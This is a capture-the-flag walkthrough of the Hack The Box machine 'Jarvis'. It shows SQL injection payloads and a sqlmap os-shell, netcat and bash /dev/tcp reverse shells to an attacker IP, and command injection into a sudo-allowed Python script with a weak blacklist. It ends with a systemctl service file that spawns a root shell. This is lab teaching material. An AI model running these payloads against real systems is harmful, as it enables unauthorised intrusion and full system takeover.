> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/medium-boxes/jarvis.md). # Jarvis
### Recon ```bash musor@kali:~/wu/jarvis$ ping -c 1 10.10.10.143 PING 10.10.10.143 (10.10.10.143) 56(84) bytes of data. 64 bytes from 10.10.10.143: icmp_seq=1 ttl=63 time=58.8 ms --- 10.10.10.143 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 58.847/58.847/58.847/0.000 ms ``` Looks like it is Linux, lets scan a target. ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set 64999/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.25 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` SSH is dead-end, 64999 HTTP service looks like rabbit hole, so lets enumerate a 80 HTTP ### HTTP
```bash gobuster dir -u http://10.10.10.143 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.143 [+] Method: GET [+] Threads: 10 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 313] [--> http://10.10.10.143/images/] /js (Status: 301) [Size: 309] [--> http://10.10.10.143/js/] /css (Status: 301) [Size: 310] [--> http://10.10.10.143/css/] /index.php (Status: 200) [Size: 23628] /fonts (Status: 301) [Size: 312] [--> http://10.10.10.143/fonts/] /phpmyadmin (Status: 301) [Size: 317] [--> http://10.10.10.143/phpmyadmin/] /nav.php (Status: 200) [Size: 1333] /footer.php (Status: 200) [Size: 2237] /connection.php (Status: 200) [Size: 0] /server-status (Status: 403) [Size: 277] /.php (Status: 403) [Size: 277] /room.php (Status: 302) [Size: 3024] [--> index.php] Progress: 45113 / 60002 (75.19%)[ERROR] parse "http://10.10.10.143/besalu\t.php": net/url: invalid control character in URL Progress: 47945 / 60002 (79.91%)[ERROR] parse "http://10.10.10.143/error\x1f_log": net/url: invalid control character in URL [ERROR] parse "http://10.10.10.143/error\x1f_log.php": net/url: invalid control character in URL Progress: 60000 / 60002 (100.00%) =============================================================== Finished =============================================================== ``` If we navigate to rooms, we can see picture like this.
There are room.php that takes a "cod" paramater, going to try for sqlInjection. ```bash --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=4 AND 5692=5692 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=4 AND (SELECT 9486 FROM (SELECT(SLEEP(5)))Rovz) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-3080 UNION ALL SELECT NULL,NULL,CONCAT(0x71707a7071,0x536f75476f446e5844764f6b6b4f6c67727476696b754c6a65455271614651694c4d76494d594749,0x717a6b6271),NULL,NULL,NULL,NULL-- - --- [14:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9 (stretch) web application technology: Apache 2.4.25, PHP back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) --- ``` ### www-data Shell sqlmap shows that this parameter is vulnerable, so we can get reverse shell. ```bash sqlmap -u 'http://10.10.10.143/room.php?cod=1' --os-shell ``` and we got a shell! But looks like this shell not unstable, so we are going to send a reverse shell via netcat. ```bash os-shell> nc -c sh 10.10.16.2 9001 ``` ```bash musor@kali:~/wu/jarvis$ nc -lnvp 9001 listening on [any] 9001 ... connect to [10.10.16.2] from (UNKNOWN) [10.10.10.143] 53112 ls ayax b4nn3d cmd.php connection.php css dining-bar.php fonts footer.php getfileayax.php images index.php js nav.php phpmyadmin room.php roomobj.php rooms-suites.php sass tmpbkvyv.php tmpuuozk.php which python3 /usr/bin/python3 python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@jarvis:/var/www/html$ ^Z zsh: suspended nc -lnvp 9001 musor@kali:~/wu/jarvis$ stty raw -echo | fg [1] + continued nc -lnvp 9001 www-data@jarvis:/var/www/html$ export TERM=tmux-256color ``` after we get a proper TTY shell, we can start enumerating a host. ### pepper Shell Linpeas shows something interesting ```bash ╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py ``` Python script "simpler.py" looks for attackers and sql injection, looks like we are trolled. ```bash www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py cat simpler.py #!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re def show_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message) def show_header(): print('''*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** ''') def show_statistics(): path = '/home/pepper/Web/Logs/' print('Statistics\n-----------') listed_files = listdir(path) count = len(listed_files) print('Number of Attackers: ' + str(count)) level_1 = 0 dat = datetime(1, 1, 1) ip_list = [] reks = [] ip = '' req = '' rek = '' for i in listed_files: f = open(path + i, 'r') lines = f.readlines() level2, rek = get_max_level(lines) fecha, requ = date_to_num(lines) ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if fecha > dat: dat = fecha req = requ ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if int(level2) > int(level_1): level_1 = level2 ip_list = [ip] reks=[rek] elif int(level2) == int(level_1): ip_list.append(ip) reks.append(rek) f.close() print('Most Risky:') if len(ip_list) > 1: print('More than 1 ip found') cont = 0 for i in ip_list: print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont]) cont = cont + 1 print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req) def list_ip(): print('Attackers\n-----------') path = '/home/pepper/Web/Logs/' listed_files = listdir(path) for i in listed_files: f = open(path + i,'r') lines = f.readlines() level,req = get_max_level(lines) print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level) f.close() def date_to_num(lines): dat = datetime(1,1,1) ip = '' req='' for i in lines: if 'Level' in i: fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0] regex = '(\d+)-(.*)-(\d+)(.*)' logEx=re.match(regex, fecha).groups() mes = to_dict(logEx[1]) fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3] fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S') if fecha > dat: dat = fecha req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10] return dat, req def to_dict(name): month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'} return month_dict[name] def get_max_level(lines): level=0 for j in lines: if 'Level' in j: if int(j.split(' ')[4]) > int(level): level = j.split(' ')[4] req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10] return level, req def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) if __name__ == '__main__': show_header() if len(sys.argv) != 2: show_help() exit() if sys.argv[1] == '-h' or sys.argv[1] == '--help': show_help() exit() elif sys.argv[1] == '-s': show_statistics() exit() elif sys.argv[1] == '-l': list_ip() exit() elif sys.argv[1] == '-p': exec_ping() exit() else: show_help() exit() ``` But anyway, here where we can inject our command, to get a shell as pepper. ```python os.system('ping ' + command) ``` Lets do it! ```bash www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper ./simpler.py -p sudo -u pepper ./simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $(bash) $(bash) pepper@jarvis:/var/www/Admin-Utilities$ ``` and we are pepper, but still unstable shell, so lets use standard reverse shell. ```bash pepper@jarvis:/var/www/Admin-Utilities$ bash -i >& /dev/tcp/10.10.16.2/9002 0>&1 ``` {% hint style="info" %} Also generated a ssh keys as "pepper" user, so i can use a fully interactive shell {% endhint %} ### Privilege Escalation ok, also in linpeas saw that I can execute a binary systemctl as sudo, so lets get a root. ```bash TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/nc -e /bin/bash 10.10.16.2 9002 [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl enable --now $TF ``` and we are root. ```bash musor@kali:~/wu/jarvis$ nc -lnvp 9002 listening on [any] 9002 ... connect to [10.10.16.2] from (UNKNOWN) [10.10.10.143] 49176 id uid=0(root) gid=0(root) groups=0(root) cd /root ls clean.sh root.txt sqli_defender.py cat root.txt 3ae919235ea992b8104f602d97d0852e ```